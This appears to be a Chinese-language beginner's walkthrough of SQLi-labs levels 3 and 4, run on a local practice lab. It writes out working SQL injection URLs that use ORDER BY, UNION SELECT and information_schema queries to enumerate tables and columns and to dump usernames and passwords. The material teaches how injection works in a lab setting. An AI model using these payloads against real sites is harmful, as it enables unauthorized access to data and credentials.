qli_labs第三关
1.安装phpstudy和搭建靶场环境
- 从https://github.com/Audi-1/sqli-labs下载源代码
- 搭建环境用的是phpstudy
- 编辑sqli\sql-connections\db-creds.inc文件 修改mysql链接数据库帐号密码。具体自行百度
2.修改一下第一个index.php 的代码,让我们更好理解
3.选择第三关,并在url最后面加上?id=1,出来如下界面
4.判断是否有注入(判断是否未严格校验)
- 可控参数的改变能否影响页面显示结果
2.是什么类型的注入
5.猜字段数量(使用order by 猜字段)
- http://127.0.0.1/sqli-labs/sqli-labs-master/Less-3/?id=1') order by 3--+ //结果显示正常
2. http://127.0.0.1/sqli-labs/sqli-labs-master/Less-3/?id=1') order by 4--+ //结果显示错误表示字段数量为3
6.将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。
- http://127.0.0.1/sqli-labs/sqli-labs-master/Less-3/?id=-1') union select 1,2,3 --+//发现页面先输出了2和3,说明有2个显示位
7.利用mysql>5.0版本的一个数据库information_schema(可以查询数据库的表,字段,数据)
- information_schema下有两个比较重要的表tables,columns(一个查表的,一个是查字段的)
2. tables表下有几个重要字段
3. columns表下有几个重要字段
8.开始注出数据
- 使用下面的句子可注出当前数据库的所有表名
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-3/index.php?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
2. 选择一个注出来的表名,通过information_schema数据库下columns表注出该表名所有字段
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-3/index.php?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
3. 通过上述知道的数据库,表,字段,我们便可以注出数据
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-3/index.php?id=-1') union select 1,group_concat(concat_ws(':',id,username,password)),3 from users--+
qli_labs第四关
跟第三关一样,只是第三关的单引号,第四关变成了双引号,所有我就不重复执行了
最后我总结一下:小白选手,要是啥讲错了的或者没注意到的地方欢迎大佬们斧正!